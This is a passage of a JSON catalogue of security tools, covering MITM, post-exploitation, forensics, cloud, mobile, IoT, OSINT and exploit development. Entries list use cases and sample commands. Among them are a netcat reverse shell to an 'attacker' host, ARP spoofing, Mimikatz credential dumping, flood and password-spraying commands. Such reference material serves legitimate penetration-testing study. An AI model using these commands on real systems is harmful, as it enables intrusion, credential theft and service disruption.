"category": "Packet Capture",
"when_to_use": [
"Quick packet capture",
"Remote system analysis",
"Automated capture scripts",
"Minimal resource usage"
],
"common_commands": {
"basic_capture": "tcpdump -i eth0",
"write_file": "tcpdump -i eth0 -w capture.pcap",
"filter_host": "tcpdump host 192.168.1.1",
"filter_port": "tcpdump port 80",
"verbose": "tcpdump -i eth0 -vvv",
"packet_contents": "tcpdump -i eth0 -X"
},
"skill_level": "Intermediate"
},
"ettercap": {
"name": "Ettercap",
"description": "Comprehensive suite for MITM attacks",
"category": "MITM Tool",
"when_to_use": [
"ARP poisoning",
"MITM attacks",
"Network sniffing",
"Content filtering/modification"
],
"attack_modes": {
"arp_poisoning": "ARP cache poisoning",
"icmp_redirect": "ICMP redirect",
"port_stealing": "Switch port stealing",
"dhcp_spoofing": "DHCP spoofing"
},
"common_commands": {
"gui_mode": "ettercap -G",
"text_mode": "ettercap -T -M arp:remote /192.168.1.1// /192.168.1.2//",
"sniff_only": "ettercap -T -i eth0",
"with_plugin": "ettercap -T -P dns_spoof"
},
"skill_level": "Intermediate to Advanced"
},
"bettercap": {
"name": "Bettercap",
"description": "Swiss army knife for network attacks",
"category": "Network Attack Framework",
"when_to_use": [
"Network reconnaissance",
"MITM attacks",
"WiFi attacks",
"Bluetooth LE attacks"
],
"modules": [
"net.recon",
"net.sniff",
"arp.spoof",
"dns.spoof",
"http.proxy",
"https.proxy"
],
"common_commands": {
"interactive": "bettercap",
"network_recon": "net.recon on",
"arp_spoofing": "set arp.spoof.targets 192.168.1.0/24; arp.spoof on",
"sniffing": "net.sniff on",
"web_ui": "bettercap -caplet http-ui"
},
"skill_level": "Intermediate"
},
"responder": {
"name": "Responder",
"description": "LLMNR/NBT-NS/MDNS poisoner",
"category": "Network Poisoner",
"when_to_use": [
"Capturing NTLMv2 hashes",
"LLMNR poisoning",
"NBT-NS poisoning",
"WPAD attacks"
],
"common_commands": {
"basic_poisoning": "responder -I eth0",
"analyze_mode": "responder -I eth0 -A",
"force_auth": "responder -I eth0 -F",
"wpad": "responder -I eth0 -w"
},
"captured_hashes": [
"NTLMv1/v2",
"Kerberos",
"Basic HTTP/HTTPS",
"MSSQL",
"FTP",
"IMAP"
],
"skill_level": "Intermediate"
}
}
},
"post_exploitation": {
"description": "Tools for maintaining access and post-exploitation",
"tools": {
"empire": {
"name": "Empire/Starkiller",
"description": "Post-exploitation framework",
"category": "C2 Framework",
"when_to_use": [
"Post-exploitation",
"Lateral movement",
"Persistence",
"Data exfiltration"
],
"key_features": [
"PowerShell agents",
"Python agents",
"Flexible communication",
"Module library"
],
"skill_level": "Advanced"
},
"mimikatz": {
"name": "Mimikatz",
"description": "Windows credential extraction",
"category": "Credential Dumper",
"when_to_use": [
"Password extraction",
"Hash dumping",
"Kerberos ticket extraction",
"Pass-the-hash attacks"
],
"common_modules": {
"sekurlsa::logonpasswords": "Dump passwords",
"lsadump::sam": "Dump SAM database",
"kerberos::list": "List Kerberos tickets",
"token::elevate": "Token manipulation"
},
"skill_level": "Advanced"
},
"powersploit": {
"name": "PowerSploit",
"description": "PowerShell post-exploitation framework",
"category": "PowerShell Framework",
"when_to_use": [
"Windows post-exploitation",
"Privilege escalation",
"Persistence",
"AV evasion"
],
"module_categories": [
"CodeExecution",
"ScriptModification",
"Persistence",
"Privesc",
"Recon",
"Exfiltration"
],
"skill_level": "Advanced"
},
"evil-winrm": {
"name": "Evil-WinRM",
"description": "Windows Remote Management shell",
"category": "Remote Shell",
"when_to_use": [
"Windows remote access",
"Post-exploitation",
"File transfer",
"Service manipulation"
],
"common_commands": {
"connect": "evil-winrm -i target.com -u admin -p password",
"hash_auth": "evil-winrm -i target.com -u admin -H HASH",
"ssl": "evil-winrm -i target.com -u admin -p password -S",
"upload": "upload local_file remote_path",
"download": "download remote_file local_path"
},
"skill_level": "Intermediate"
}
}
},
"forensics": {
"description": "Digital forensics and investigation tools",
"tools": {
"autopsy": {
"name": "Autopsy",
"description": "Digital forensics platform",
"category": "Forensics Suite",
"when_to_use": [
"Disk image analysis",
"File recovery",
"Timeline analysis",
"Registry analysis"
],
"features": [
"File system analysis",
"Keyword searching",
"Email analysis",
"Registry analysis",
"Timeline generation"
],
"skill_level": "Intermediate to Advanced"
},
"volatility": {
"name": "Volatility",
"description": "Memory forensics framework",
"category": "Memory Analysis",
"when_to_use": [
"RAM analysis",
"Malware detection",
"Process analysis",
"Network connection recovery"
],
"common_plugins": {
"imageinfo": "Identify image profile",
"pslist": "List running processes",
"netscan": "Network connections",
"malfind": "Find injected code",
"dumpfiles": "Extract files from memory"
},
"common_commands": {
"profile_detection": "volatility -f memory.dmp imageinfo",
"process_list": "volatility -f memory.dmp --profile=Win7SP1x64 pslist",
"network_connections": "volatility -f memory.dmp --profile=Win7SP1x64 netscan",
"dump_process": "volatility -f memory.dmp --profile=Win7SP1x64 procdump -p PID -D output/"
},
"skill_level": "Advanced"
},
"binwalk": {
"name": "Binwalk",
"description": "Firmware analysis tool",
"category": "Binary Analysis",
"when_to_use": [
"Firmware extraction",
"Embedded file detection",
"Binary analysis",
"IoT device analysis"
],
"common_commands": {
"scan": "binwalk firmware.bin",
"extract": "binwalk -e firmware.bin",
"entropy": "binwalk -E firmware.bin",
"signature": "binwalk -B firmware.bin"
},
"skill_level": "Intermediate"
},
"foremost": {
"name": "Foremost",
"description": "File recovery tool",
"category": "Data Recovery",
"when_to_use": [
"Deleted file recovery",
"Disk image analysis",
"Data carving"
],
"common_commands": {
"basic_recovery": "foremost -i disk.img",
"specific_types": "foremost -t jpg,pdf -i disk.img",
"output_dir": "foremost -i disk.img -o output/"
},
"skill_level": "Beginner to Intermediate"
}
}
},
"reverse_engineering": {
"description": "Tools for reverse engineering and malware analysis",
"tools": {
"ghidra": {
"name": "Ghidra",
"description": "Software reverse engineering framework",
"category": "Reverse Engineering Suite",
"when_to_use": [
"Binary analysis",
"Malware analysis",
"Vulnerability research",
"Firmware analysis"
],
"features": [
"Disassembly",
"Decompilation",
"Scripting support",
"Multi-platform support"
],
"skill_level": "Advanced"
},
"radare2": {
"name": "Radare2",
"description": "Reverse engineering framework",
"category": "Binary Analysis",
"when_to_use": [
"Binary analysis",
"Debugging",
"Forensics",
"Exploit development"
],
"common_commands": {
"analyze": "r2 -A binary",
"disassemble": "pd 20",
"strings": "iz",
"functions": "afl",
"visual_mode": "V"
},
"skill_level": "Advanced"
},
"gdb": {
"name": "GDB",
"description": "GNU Debugger",
"category": "Debugger",
"when_to_use": [
"Binary debugging",
"Exploit development",
"Crash analysis",
"Runtime analysis"
],
"common_commands": {
"run": "run",
"breakpoint": "break main",
"continue": "continue",
"step": "step",
"examine": "x/10x $esp",
"disassemble": "disas main"
},
"enhanced_versions": {
"gef": "GDB Enhanced Features",
"peda": "Python Exploit Development Assistance",
"pwndbg": "Exploit development and reverse engineering"
},
"skill_level": "Intermediate to Advanced"
},
"objdump": {
"name": "Objdump",
"description": "Display information from object files",
"category": "Binary Analysis",
"when_to_use": [
"Quick binary inspection",
"Disassembly",
"Header analysis"
],
"common_commands": {
"disassemble": "objdump -d binary",
"headers": "objdump -h binary",
"symbols": "objdump -t binary",
"strings": "objdump -s binary"
},
"skill_level": "Intermediate"
}
}
},
"reporting": {
"description": "Tools for documentation and reporting",
"tools": {
"dradis": {
"name": "Dradis",
"description": "Collaboration and reporting framework",
"category": "Reporting Platform",
"when_to_use": [
"Team collaboration",
"Report generation",
"Evidence management",
"Vulnerability tracking"
],
"features": [
"Multi-user support",
"Tool integration",
"Custom templates",
"Evidence attachments"
],
"skill_level": "Beginner to Intermediate"
},
"faraday": {
"name": "Faraday",
"description": "Collaborative penetration test IDE",
"category": "Pentest IDE",
"when_to_use": [
"Multi-user pentesting",
"Real-time collaboration",
"Vulnerability management",
"Automated reporting"
],
"integrations": [
"Metasploit",
"Nmap",
"Burp Suite",
"Nikto",
"OpenVAS"
],
"skill_level": "Intermediate"
},
"pipal": {
"name": "PIPAL",
"description": "Password analyzer",
"category": "Password Analysis",
"when_to_use": [
"Password policy analysis",
"Cracked password statistics",
"Pattern identification"
],
"common_commands": {
"analyze": "pipal passwords.txt",
"top_passwords": "pipal --top 50 passwords.txt",
"output_report": "pipal passwords.txt > report.txt"
},
"skill_level": "Beginner"
}
}
}
}
},
"advanced_tools": {
"advanced_hacking_tools.json": {
"metadata": {
"collection_date": "2025-08-23T15:13:22.831360",
"description": "Advanced hacking tools from various sources",
"categories": [
"cloud_security_tools",
"container_security",
"mobile_security",
"iot_embedded",
"osint_tools",
"exploit_development",
"malware_analysis",
"hardware_hacking",
"web3_blockchain",
"network_tools",
"ai_security",
"specialized_tools"
]
},
"cloud_security_tools": {
"description": "Tools for cloud infrastructure testing",
"tools": {
"scout_suite": {
"name": "Scout Suite",
"description": "Multi-cloud security auditing tool",
"platforms": [
"AWS",
"Azure",
"GCP",
"Alibaba Cloud",
"Oracle Cloud"
],
"when_to_use": [
"Cloud security assessment",
"Compliance checking",
"Configuration review",
"Multi-cloud auditing"
],
"installation": "pip install scoutsuite",
"usage": {
"aws": "scout aws",
"azure": "scout azure --cli",
"gcp": "scout gcp --user-account",
"report": "scout --report-dir ./report"
},
"features": [
"Automated cloud auditing",
"HTML report generation",
"Risk scoring",
"Best practice validation"
]
},
"pacu": {
"name": "Pacu",
"description": "AWS exploitation framework",
"when_to_use": [
"AWS penetration testing",
"Post-compromise exploitation",
"Privilege escalation in AWS",
"Persistence establishment"
],
"modules": [
"iam__enum_permissions",
"iam__privesc_scan",
"ec2__enum",
"lambda__enum",
"s3__bucket_finder"
],
"usage": {
"start": "pacu",
"list_modules": "list",
"run_module": "run module_name",
"set_keys": "set_keys"
}
},
"cloudsploit": {
"name": "CloudSploit",
"description": "Cloud security configuration scanner",
"platforms": [
"AWS",
"Azure",
"GCP",
"Oracle"
],
"when_to_use": [
"Security misconfiguration detection",
"Compliance scanning",
"Real-time monitoring",
"CI/CD integration"
],
"scan_categories": [
"IAM policies",
"Network security",
"Storage permissions",
"Encryption status",
"Logging configuration"
]
},
"prowler": {
"name": "Prowler",
"description": "AWS security assessment tool",
"when_to_use": [
"CIS benchmark compliance",
"AWS security best practices",
"GDPR compliance checking",
"HIPAA assessment"
],
"usage": {
"basic": "./prowler",
"specific_check": "./prowler -c check_id",
"group": "./prowler -g group_id",
"json_output": "./prowler -M json"
},
"compliance_frameworks": [
"CIS AWS Foundations",
"GDPR",
"HIPAA",
"PCI-DSS",
"ISO27001"
]
},
"cloud_enum": {
"name": "Cloud_enum",
"description": "Multi-cloud OSINT tool",
"when_to_use": [
"Cloud resource discovery",
"S3 bucket enumeration",
"Azure blob discovery",
"Google Storage enumeration"
],
"usage": "python cloud_enum.py -k keyword -k keyword2",
"features": [
"Mutation engine for permutations",
"Multi-threading support",
"DNS resolution",
"Open storage detection"
]
}
}
},
"container_security": {
"description": "Tools for Docker and Kubernetes security",
"tools": {
"trivy": {
"name": "Trivy",
"description": "Comprehensive vulnerability scanner for containers",
"when_to_use": [
"Container image scanning",
"IaC security scanning",
"Kubernetes manifest scanning",
"CI/CD integration"
],
"scan_types": [
"OS packages",
"Application dependencies",
"Known CVEs",
"IaC misconfigurations",
"Secrets detection"
],
"usage": {
"image_scan": "trivy image nginx:latest",
"filesystem": "trivy fs /path/to/project",
"k8s_cluster": "trivy k8s --report summary cluster",
"config_scan": "trivy config ."
}
},
"docker_bench": {
"name": "Docker Bench Security",
"description": "Docker security configuration checker",
"when_to_use": [
"Docker host hardening",
"CIS Docker benchmark",
"Security compliance",
"Configuration audit"
],
"usage": "docker run -it --net host --pid host --cap-add audit_control -v /var/lib:/var/lib -v /var/run/docker.sock:/var/run/docker.sock docker/docker-bench-security"
},
"kubescape": {
"name": "Kubescape",
"description": "Kubernetes security platform",
"when_to_use": [
"K8s cluster scanning",
"YAML manifest validation",
"NSA/CISA compliance",
"MITRE ATT&CK mapping"
],
"usage": {
"scan_cluster": "kubescape scan",
"scan_yaml": "kubescape scan *.yaml",
"framework": "kubescape scan framework nsa",
"control": "kubescape scan control C-0005"
}
},
"kube_hunter": {
"name": "Kube-hunter",
"description": "Kubernetes penetration testing tool",
"when_to_use": [
"K8s vulnerability hunting",
"Cluster penetration testing",
"Security assessment",
"Attack simulation"
],
"modes": {
"remote": "Scan from outside cluster",
"internal": "Pod-based scanning",
"network": "CIDR range scanning"
},
"usage": "kube-hunter --remote some.node.com"
},
"falco": {
"name": "Falco",
"description": "Runtime security monitoring",
"when_to_use": [
"Runtime threat detection",
"Behavioral monitoring",
"Compliance monitoring",
"Incident response"
],
"detection_categories": [
"Shell spawned in container",
"Sensitive file access",
"Network connections",
"Privilege escalation",
"Container escapes"
]
}
}
},
"mobile_security": {
"description": "Mobile application security testing tools",
"tools": {
"mobsf": {
"name": "Mobile Security Framework",
"description": "Automated mobile app security testing",
"platforms": [
"Android",
"iOS",
"Windows"
],
"when_to_use": [
"Static analysis of APK/IPA",
"Dynamic analysis",
"Malware analysis",
"Security assessment"
],
"features": [
"Source code analysis",
"Permission analysis",
"Binary analysis",
"Network monitoring",
"API testing"
],
"usage": {
"start": "python manage.py runserver",
"api": "REST API for automation",
"cli": "mobsf --file app.apk"
}
},
"frida": {
"name": "Frida",
"description": "Dynamic instrumentation toolkit",
"when_to_use": [
"Runtime manipulation",
"API hooking",
"SSL pinning bypass",
"Dynamic analysis",
"Reverse engineering"
],
"common_scripts": {
"list_processes": "frida-ps -U",
"hook_function": "frida -U -l script.js com.app.name",
"trace": "frida-trace -U -i 'open*' com.app.name",
"ssl_bypass": "frida --codeshare script -U -f com.app.name"
},
"platforms": [
"Android",
"iOS",
"Windows",
"macOS",
"Linux"
]
},
"objection": {
"name": "Objection",
"description": "Runtime mobile exploration toolkit",
"built_on": "Frida",
"when_to_use": [
"Runtime exploration",
"Security testing",
"Bypass implementations",
"Data extraction"
],
"commands": {
"explore": "objection -g com.app.name explore",
"ssl_pinning": "android sslpinning disable",
"root_detection": "android root disable",
"dump_keychain": "ios keychain dump"
}
},
"apktool": {
"name": "APKTool",
"description": "Android app reverse engineering",
"when_to_use": [
"APK decompilation",
"Resource extraction",
"Manifest analysis",
"Repackaging apps"
],
"usage": {
"decode": "apktool d app.apk",
"build": "apktool b app_folder",
"framework": "apktool if framework-res.apk"
}
},
"jadx": {
"name": "JADX",
"description": "Dex to Java decompiler",
"when_to_use": [
"Android source code analysis",
"Java decompilation",
"Code review",
"Vulnerability research"
],
"usage": {
"gui": "jadx-gui app.apk",
"cli": "jadx -d output app.apk",
"export_gradle": "jadx --export-gradle app.apk"
}
}
}
},
"iot_embedded": {
"description": "IoT and embedded device security tools",
"tools": {
"firmwalker": {
"name": "Firmwalker",
"description": "Firmware security analysis",
"when_to_use": [
"Firmware assessment",
"Sensitive data search",
"Backdoor detection",
"Configuration review"
],
"checks": [
"Hard-coded credentials",
"SSL certificates",
"Private keys",
"Configuration files",
"Interesting binaries"
]
},
"firmware_analysis_toolkit": {
"name": "FACT",
"description": "Firmware Analysis and Comparison Tool",
"when_to_use": [
"Automated firmware analysis",
"Vulnerability detection",
"Binary analysis",
"Comparison of versions"
],
"features": [
"Unpacking support",
"File type identification",
"Software detection",
"Vulnerability matching",
"Statistical analysis"
]
},
"routersploit": {
"name": "RouterSploit",
"description": "Router exploitation framework",
"when_to_use": [
"Router vulnerability testing",
"Embedded device exploitation",
"Credential testing",
"Backdoor checking"
],
"modules": {
"scanners": "Vulnerability scanners",
"exploits": "Exploitation modules",
"creds": "Credential attacks",
"payloads": "Various payloads"
},
"usage": {
"start": "routersploit",
"scan": "use scanners/autopwn",
"exploit": "use exploits/router/vendor/cve"
}
},
"killerbee": {
"name": "KillerBee",
"description": "IEEE 802.15.4/ZigBee security toolkit",
"when_to_use": [
"ZigBee network analysis",
"Packet sniffing",
"Replay attacks",
"Crypto analysis"
],
"tools": [
"zbstumbler - Network discovery",
"zbdump - Packet capture",
"zbreplay - Packet replay",
"zbassocflood - Flood attacks"
]
},
"attify_zigbee": {
"name": "Attify Zigbee Framework",
"description": "ZigBee penetration testing",
"when_to_use": [
"ZigBee exploitation",
"Smart home testing",
"IoT device assessment"
]
}
}
},
"osint_tools": {
"description": "Advanced OSINT and reconnaissance tools",
"tools": {
"spiderfoot": {
"name": "SpiderFoot",
"description": "Automated OSINT collection",
"when_to_use": [
"Comprehensive OSINT gathering",
"Attack surface mapping",
"Threat intelligence",
"Digital footprint analysis"
],
"data_sources": "200+ data sources",
"modules": [
"DNS lookups",
"Web crawling",
"Social media",
"Threat lists",
"Data breaches"
],
"usage": {
"web_ui": "python sf.py -l 127.0.0.1:5001",
"cli": "python sfcli.py -s domain.com -m all"
}
},
"osintframework": {
"name": "OSINT Framework",
"description": "Collection of OSINT tools organized by category",
"categories": [
"Username search",
"Email search",
"Domain/IP research",
"Image analysis",
"Social media",
"Phone numbers",
"Documents/Files"
]
},
"phoneinfoga": {
"name": "PhoneInfoga",
"description": "Phone number OSINT tool",
"when_to_use": [
"Phone number reconnaissance",
"Carrier identification",
"Location approximation",
"Social media correlation"
],
"usage": {
"scan": "phoneinfoga scan -n +1234567890",
"serve": "phoneinfoga serve",
"api": "REST API available"
}
},
"sherlock": {
"name": "Sherlock",
"description": "Username enumeration across social networks",
"when_to_use": [
"Username OSINT",
"Social media profiling",
"Account enumeration",
"Digital footprint"
],
"usage": "python sherlock username",
"platforms": "300+ websites"
},
"amass": {
"name": "OWASP Amass",
"description": "Network mapping and external asset discovery",
"when_to_use": [
"Subdomain enumeration",
"Attack surface mapping",
"DNS reconnaissance",
"Network mapping"
],
"techniques": [
"DNS enumeration",
"Web scraping",
"Certificate transparency",
"APIs integration",
"Brute forcing"
],
"usage": {
"enum": "amass enum -d domain.com",
"intel": "amass intel -d domain.com",
"track": "amass track -d domain.com"
}
}
}
},
"exploit_development": {
"description": "Tools for exploit development and debugging",
"tools": {
"pwntools": {
"name": "Pwntools",
"description": "CTF framework and exploit development library",
"language": "Python",
"when_to_use": [
"Exploit development",
"CTF challenges",
"Binary exploitation",
"Shellcode generation"
],
"features": [
"Process interaction",
"ROP chain generation",
"Format string exploitation",
"Shellcode generation",
"ELF manipulation"
],
"usage": {
"process": "p = process('./binary')",
"remote": "r = remote('host', port)",
"rop": "rop = ROP(elf)",
"shellcode": "shellcraft.sh()"
}
},
"ropper": {
"name": "Ropper",
"description": "ROP gadget finder",
"when_to_use": [
"ROP chain construction",
"Gadget searching",
"Binary analysis",
"Exploit development"
],
"usage": {
"search": "ropper --file binary --search 'pop rdi'",
"chain": "ropper --file binary --chain execve",
"all_gadgets": "ropper --file binary"
}
},
"peda": {
"name": "PEDA",
"description": "Python Exploit Development Assistance for GDB",
"when_to_use": [
"Binary debugging",
"Exploit development",
"Crash analysis",
"Pattern generation"
],
"commands": [
"pattern create",
"pattern offset",
"checksec",
"searchmem",
"ropgadget"
]
},
"angr": {
"name": "angr",
"description": "Binary analysis platform",
"when_to_use": [
"Symbolic execution",
"Vulnerability discovery",
"Binary analysis",
"Exploit generation"
],
"capabilities": [
"Control flow analysis",
"Data flow analysis",
"Symbolic execution",
"Constraint solving",
"Exploit generation"
]
},
"afl_plus_plus": {
"name": "AFL++",
"description": "Advanced fuzzing framework",
"when_to_use": [
"Vulnerability discovery",
"Fuzzing campaigns",
"Code coverage analysis",
"Crash analysis"
],
"modes": [
"Binary fuzzing",
"Source code fuzzing",
"Persistent mode",
"Parallel fuzzing",
"Custom mutators"
],
"usage": {
"compile": "afl-clang-fast target.c -o target",
"fuzz": "afl-fuzz -i input -o output -- ./target",
"whatsup": "afl-whatsup output"
}
}
}
},
"malware_analysis": {
"description": "Malware analysis and reverse engineering tools",
"tools": {
"cuckoo_sandbox": {
"name": "Cuckoo Sandbox",
"description": "Automated malware analysis system",
"when_to_use": [
"Dynamic malware analysis",
"Behavioral analysis",
"Network traffic analysis",
"API call monitoring"
],
"features": [
"VM-based sandboxing",
"API hooking",
"Network analysis",
"Memory analysis",
"Screenshot capture"
]
},
"remnux": {
"name": "REMnux",
"description": "Linux distribution for malware analysis",
"when_to_use": [
"Malware reverse engineering",
"Static analysis",
"Dynamic analysis",
"Memory forensics"
],
"included_tools": [
"IDA Free",
"Ghidra",
"radare2",
"Volatility",
"YARA"
]
},
"yara": {
"name": "YARA",
"description": "Pattern matching engine for malware",
"when_to_use": [
"Malware identification",
"IOC detection",
"Threat hunting",
"Classification"
],
"rule_example": {
"structure": "rule malware_name { strings: $a = \"string\" condition: $a }",
"scan": "yara rules.yar target_file"
}
},
"pestudio": {
"name": "PEStudio",
"description": "PE file static analysis",
"platform": "Windows",
"when_to_use": [
"PE file analysis",
"Initial triage",
"Static analysis",
"Indicator extraction"
],
"features": [
"Import/Export analysis",
"String extraction",
"Entropy analysis",
"Digital signature check",
"VirusTotal integration"
]
},
"cape_sandbox": {
"name": "CAPE Sandbox",
"description": "Malware configuration and payload extraction",
"based_on": "Cuckoo Sandbox",
"when_to_use": [
"Config extraction",
"Payload extraction",
"Behavioral analysis",
"Family detection"
],
"advantages": [
"Automated unpacking",
"Config extraction",
"YARA integration",
"Family signatures"
]
}
}
},
"hardware_hacking": {
"description": "Hardware security testing tools",
"tools": {
"bus_pirate": {
"name": "Bus Pirate",
"description": "Universal bus interface",
"protocols": [
"I2C",
"SPI",
"UART",
"1-Wire",
"JTAG"
],
"when_to_use": [
"Protocol analysis",
"Chip communication",
"Firmware extraction",
"Hardware debugging"
],
"common_uses": [
"EEPROM dumping",
"Flash chip reading",
"UART console access",
"JTAG debugging"
]
},
"hydrabus": {
"name": "HydraBus",
"description": "Multi-protocol hardware hacking tool",
"protocols": [
"UART",
"I2C",
"SPI",
"CAN",
"LIN",
"1-Wire",
"SWD"
],
"when_to_use": [
"Hardware pentesting",
"Protocol fuzzing",
"Chip-off analysis",
"Embedded debugging"
]
},
"chipwhisperer": {
"name": "ChipWhisperer",
"description": "Side-channel analysis platform",
"when_to_use": [
"Power analysis attacks",
"Glitch attacks",
"Side-channel analysis",
"Cryptographic attacks"
],
"attack_types": [
"Simple Power Analysis (SPA)",
"Differential Power Analysis (DPA)",
"Correlation Power Analysis (CPA)",
"Voltage glitching",
"Clock glitching"
]
},
"jtagulator": {
"name": "JTAGulator",
"description": "JTAG identification tool",
"when_to_use": [
"JTAG pin identification",
"UART discovery",
"Debug interface finding",
"Boundary scan"
],
"features": [
"Automatic pin detection",
"Voltage level detection",
"IDCODE extraction",
"Bypass mode"
]
},
"hackrf": {
"name": "HackRF One",
"description": "Software Defined Radio platform",
"frequency_range": "1 MHz - 6 GHz",
"when_to_use": [
"RF analysis",
"Signal capture",
"Replay attacks",
"Protocol reverse engineering"
],
"applications": [
"GSM sniffing",
"GPS spoofing",
"Garage door hacking",
"Key fob analysis",
"RFID/NFC research"
]
}
}
},
"web3_blockchain": {
"description": "Blockchain and smart contract security tools",
"tools": {
"mythril": {
"name": "Mythril",
"description": "Security analysis tool for EVM bytecode",
"when_to_use": [
"Smart contract auditing",
"Vulnerability detection",
"Security analysis",
"Bytecode analysis"
],
"detects": [
"Integer overflow/underflow",
"Reentrancy",
"Unprotected functions",
"Timestamp dependence",
"Gas limit issues"
],
"usage": {
"analyze": "myth analyze contract.sol",
"bytecode": "myth analyze -c bytecode",
"address": "myth analyze -a 0xaddress"
}
},
"slither": {
"name": "Slither",
"description": "Static analysis framework for Solidity",
"when_to_use": [
"Code review",
"Vulnerability detection",
"Code optimization",
"CI/CD integration"
],
"detectors": [
"High impact bugs",
"Medium impact bugs",
"Low impact issues",
"Code optimization",
"Informational findings"
],
"usage": "slither contract.sol"
},
"echidna": {
"name": "Echidna",
"description": "Smart contract fuzzer",
"when_to_use": [
"Property testing",
"Invariant testing",
"Edge case discovery",
"Security testing"
],
"features": [
"Property-based testing",
"Assertion testing",
"Custom predicates",
"Coverage guidance"
]
},
"manticore": {
"name": "Manticore",
"description": "Symbolic execution tool",
"platforms": [
"EVM",
"x86",
"x86_64",
"ARMv7"
],
"when_to_use": [
"Deep path exploration",
"Input generation",
"Vulnerability discovery",
"Exploit generation"
]
},
"securify": {
"name": "Securify",
"description": "Security scanner for Ethereum smart contracts",
"when_to_use": [
"Automated auditing",
"Pattern matching",
"Compliance checking",
"Best practice validation"
]
}
}
},
"network_tools": {
"description": "Advanced network analysis and attack tools",
"tools": {
"scapy": {
"name": "Scapy",
"description": "Packet manipulation library",
"language": "Python",
"when_to_use": [
"Custom packet crafting",
"Protocol testing",
"Network fuzzing",
"Traffic analysis"
],
"capabilities": [
"Packet forging",
"Packet sniffing",
"Layer manipulation",
"PCAP processing",
"Network scanning"
],
"usage": {
"craft_packet": "packet = IP(dst='target')/TCP(dport=80)",
"send": "send(packet)",
"sniff": "sniff(filter='tcp', count=10)",
"traceroute": "traceroute('target.com')"
}
},
"netcat": {
"name": "Netcat (nc)",
"description": "Network utility for reading/writing network connections",
"when_to_use": [
"Port scanning",
"Banner grabbing",
"File transfer",
"Reverse shells",
"Network debugging"
],
"common_uses": {
"listener": "nc -lvnp 4444",
"connect": "nc target 80",
"transfer": "nc -l 1234 > file",
"port_scan": "nc -zv target 1-1000",
"reverse_shell": "nc -e /bin/sh attacker 4444"
}
},
"hping3": {
"name": "Hping3",
"description": "Advanced packet crafting tool",
"when_to_use": [
"Firewall testing",
"Port scanning",
"DoS testing",
"Traceroute",
"OS fingerprinting"
],
"features": [
"TCP/UDP/ICMP/RAW-IP",
"Traceroute mode",
"Firewall testing",
"Remote OS fingerprinting",
"Fragmentation testing"
],
"usage": {
"syn_scan": "hping3 -S target -p 80",
"flood": "hping3 --flood -S target",
"traceroute": "hping3 -T -p 80 target"
}
},
"mitmproxy": {
"name": "mitmproxy",
"description": "Interactive HTTPS proxy",
"when_to_use": [
"HTTPS interception",
"API testing",
"Traffic modification",
"Mobile app analysis"
],
"modes": {
"mitmproxy": "Console interface",
"mitmweb": "Web interface",
"mitmdump": "Command-line"
},
"features": [
"SSL/TLS interception",
"Request/response modification",
"Python scripting",
"WebSocket support",
"HTTP/2 support"
]
},
"zmap": {
"name": "ZMap",
"description": "Fast internet-wide scanner",
"when_to_use": [
"Internet-wide scanning",
"Large network surveys",
"Research scanning",
"Service discovery"
],
"features": [
"Gigabit speed scanning",
"Stateless scanning",
"IPv6 support",
"Custom probe modules"
],
"usage": {
"basic": "zmap -p 80 1.0.0.0/8",
"output": "zmap -p 443 -o results.csv 10.0.0.0/8",
"bandwidth": "zmap -B 10M -p 22 192.168.0.0/16"
}
}
}
},
"ai_security": {
"description": "AI/ML security testing tools",
"tools": {
"adversarial_robustness_toolbox": {
"name": "ART",
"description": "Adversarial Robustness Toolbox",
"when_to_use": [
"Adversarial attack generation",
"Model robustness testing",
"Defense implementation",
"ML security research"
],
"attack_types": [
"Evasion attacks",
"Poisoning attacks",
"Extraction attacks",
"Inference attacks"
],
"frameworks": [
"TensorFlow",
"Keras",
"PyTorch",
"Scikit-learn"
]
},
"cleverhans": {
"name": "CleverHans",
"description": "Library for adversarial examples",
"when_to_use": [
"Adversarial training",
"Robustness evaluation",
"Attack implementation",
"Defense research"
],
"attacks": [
"FGSM",
"PGD",
"C&W",
"DeepFool",
"JSMA"
]
},
"foolbox": {
"name": "Foolbox",
"description": "Python library for adversarial attacks",
"when_to_use": [
"Model testing",
"Robustness benchmarking",
"Attack comparison",
"Research"
],
"features": [
"Framework agnostic",
"Gradient-based attacks",
"Decision-based attacks",
"Score-based attacks"
]
},
"ml_privacy_meter": {
"name": "ML Privacy Meter",
"description": "Privacy testing for ML models",
"when_to_use": [
"Membership inference attacks",
"Privacy auditing",
"Data leakage testing",
"Model privacy assessment"
]
}
}
},
"specialized_tools": {
"description": "Specialized and niche security tools",
"tools": {
"bloodhound": {
"name": "BloodHound",
"description": "Active Directory attack path mapping",
"when_to_use": [
"AD enumeration",
"Attack path discovery",
"Privilege escalation paths",
"Domain compromise analysis"
],
"components": {
"sharphound": "Data collector",
"bloodhound": "GUI for analysis",
"neo4j": "Graph database"
},
"queries": [
"Shortest path to DA",
"Kerberoastable users",
"AS-REP roastable users",
"Unconstrained delegation"
]
},
"covenant": {
"name": "Covenant",
"description": ".NET C2 framework",
"when_to_use": [
"Red team operations",
"Post-exploitation",
"C2 infrastructure",
"Windows targeting"
],
"features": [
"Web interface",
"Collaborative",
"Custom listeners",
"Task automation",
"Grunt management"
]
},
"cobalt_strike": {
"name": "Cobalt Strike",
"description": "Commercial penetration testing platform",
"type": "Commercial",
"when_to_use": [
"Red team operations",
"APT simulation",
"Post-exploitation",
"Team collaboration"
],
"features": [
"Beacon payload",
"Malleable C2",
"Process injection",
"Lateral movement",
"Reporting"
]
},
"impacket": {
"name": "Impacket",
"description": "Python network protocols library",
"when_to_use": [
"SMB/MSRPC interaction",
"Windows authentication attacks",
"Network protocol manipulation",
"Kerberos attacks"
],
"tools": [
"psexec.py",
"smbexec.py",
"wmiexec.py",
"GetNPUsers.py",
"secretsdump.py",
"ntlmrelayx.py"
]
},
"crackmapexec": {
"name": "CrackMapExec",
"description": "Network authentication testing",
"when_to_use": [
"Password spraying",
"Credential validation",
"Post-exploitation",
"Network enumeration"
],
"protocols": [
"SMB",
"WinRM",
"MSSQL",
"LDAP",
"SSH"
],
"usage": {
"smb_auth": "cme smb target -u user -p pass",
"pass_hash": "cme smb target -u user -H hash",
"enum_shares": "cme smb target -u user -p pass --shares",
"execute": "cme smb target -u user -p pass -x 'command'"
}
}
}
}
},
"tool_tutorials_scenarios.json": {
"beginner_tutorials": {
"basic_reconnaissance": {
"objective": "Learn basic information gathering techniques",
"tools_needed": [
"nmap",
"theharvester",
"whois",
"dig"
],
"steps": [
{
"step": 1,
"description": "Domain reconnaissance",
"commands": [
"whois target.com",
"dig target.com ANY",
"host target.com"
],
